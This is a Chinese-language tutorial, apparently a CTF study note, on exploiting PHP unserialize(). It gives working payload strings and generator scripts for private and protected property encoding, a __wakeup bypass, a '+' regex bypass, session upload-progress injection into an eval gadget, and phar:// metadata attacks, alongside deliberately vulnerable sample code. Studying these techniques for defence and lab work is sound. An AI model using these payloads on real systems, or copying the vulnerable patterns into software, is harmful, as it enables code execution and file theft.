反序列化相关问题注意点

private与protected问题

private

当类内对象为private属性时,生成序列化字符串后会有一些不同,例如如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class Student {
private $name = 'yemoli';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
}
$a = new Student();
$b = serialize($a);
echo $b;
?>

生成的序列化字符串如下

可以看到与public属性时的不同,在这时我们构造序列化字符串时可以使用%00代替两个奇怪的字符

1
O:7:"Student":2:{s:13:"%00Student%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

验证代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Student {
private $name = 'Zhangsan';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
}
$a = $_GET['str'];
unserialize($a);
?>

payload:

1
http://127.0.0.1/test2.php?str=O:7:"Student":2:{s:13:"%00Student%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

result:

protected

使用如下代码生成序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Student {
protected $name = 'yemoli';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
}
$a = new Student();
$b = serialize($a);
echo $b;
?>

我们看一下生成的序列化代码

这时会发现在protected属性时还会生成一个*,同样的把不可见字符替换为%00即可

1
O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

验证代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Student {
protected $name = 'Zhangsan';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
}
$a = $_GET['str'];
unserialize($a);
?>

payload:

1
http://127.0.0.1/test2.php?str=O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

result:

__wakeup()绕过

经测试该方法仅适用于php5.5及以下版本

生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Student {
protected $name = 'yemoli';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
}
$a = new Student();
$b = serialize($a);
echo $b;
?>

正常生成的是这样的

1
O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

想要绕过wakeup函数我们需要使student后的数值大于现在的数值例如将2改为3

1
O:7:"Student":3:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

验证代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Student {
protected $name = 'Zhangsan';
public $sex = 'man';
function __destruct() {
echo '</br>';
echo '__destruct is working';
echo '</br>';
echo 'I am:' . $this->name;
echo '</br>';
}
function __wakeup() {
echo ' __wake is working';
echo '</br>';
echo 'I am:' . $this->name = 'zhangsan';
echo '</br>';
}
}
$a = $_GET['str'];
unserialize($a);
?>

payload

1
http://127.0.0.1/test2.php?str=O:7:"Student":3:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}

成功的绕过了__wakeup()

使用+绕过

该方法在PHP5.6.24版本已被修复

有如下题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test3.php");
}
?>

注意这里

1
preg_match('/[oc]:\d+:/i',$data,$matches);

正常编写利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class baby
{
public $file= "flag.php";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$a = new baby();
$b = serialize($a);
echo $b;
?>

得到

1
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

为了绕过正则,在fuzz后发现可以使用加号进行绕过,但注意需要URL编码一下,因为在某些时候+直接使用会被当成空格来处理

payload:

1
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

session的反序列化

PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样就可能存在反序列化漏洞

首先了解一下session三种序列化的方式

然后我们以jarvisoj上一道题目为例:http://web.jarvisoj.com:32784/

题目存在index和phpinfo两个页面

index:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

仔细观察会发现在index和phpinfo两个页面中使用的是两个不同的序列化引擎

这时我们自然联想到session的反序列化漏洞,但这是我们会发现我们似乎找不到突破点来控制session,经过仔细搜索 发现这里我们可以通过利用PHP_SESSION_UPLOAD_PROGRESS上传文件来控制session的内容(当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得)

这样我们可以构造如下的上传请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>test</title>
<meta charset="utf-8" />
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</form>
</body>
</html>

接着我们需要知道哪里是我们可控的点,翻阅PHP手册

不难看出我们可以控制文件名来写入session文件

接下来我们来写利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
$a->mdzz='var_dump(scandir(dirname(__FILE__)));';
$b = serialize($a);
echo $b;
?>
//O:5:"OowoO":1:{s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";}

使用”"将双引号转义一下,同时为了触发index页面的引擎我们需要在序列化字符串前加”|”

可以看到成功触发了反序列化,接着我们读取flag文件就好了

1
2
3
O:5:"OowoO":1:{s:4:"mdzz";s:90:"var_dump(file_get_contents(dirname(__FILE__)."/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
转义
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:90:\"var_dump(file_get_contents(dirname(__FILE__).\"/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

phar反序列化

该方法在某些文件系统函数参数可控的情况下,与phar://伪协议配合使用可不使用unserialize()实现反序列化操作

受影响的文件系统函数如下

(图片源于网络)

有如下示例代码

1
2
3
4
5
6
7
8
9
10
<?php
class TestObject{
function __destruct()
{
echo $this -> mini;
}
}
$a = $_GET['file'];
file_get_contents($a);
?>

可以看到并没有unserialize()函数,同时存在file_get_contents函数,我们可以利用phar来触发反序列化

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> mini='yemoli';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行代码后会生成一个phar.phar文件,生成的该文件后缀名可以随意更改,接下来使用phar://伪协议进行利用

1
127.0.0.1/index.php?file=phar://phar.phar

可以看到成功的触发了反序列化。

参考链接:

https://paper.seebug.org/680/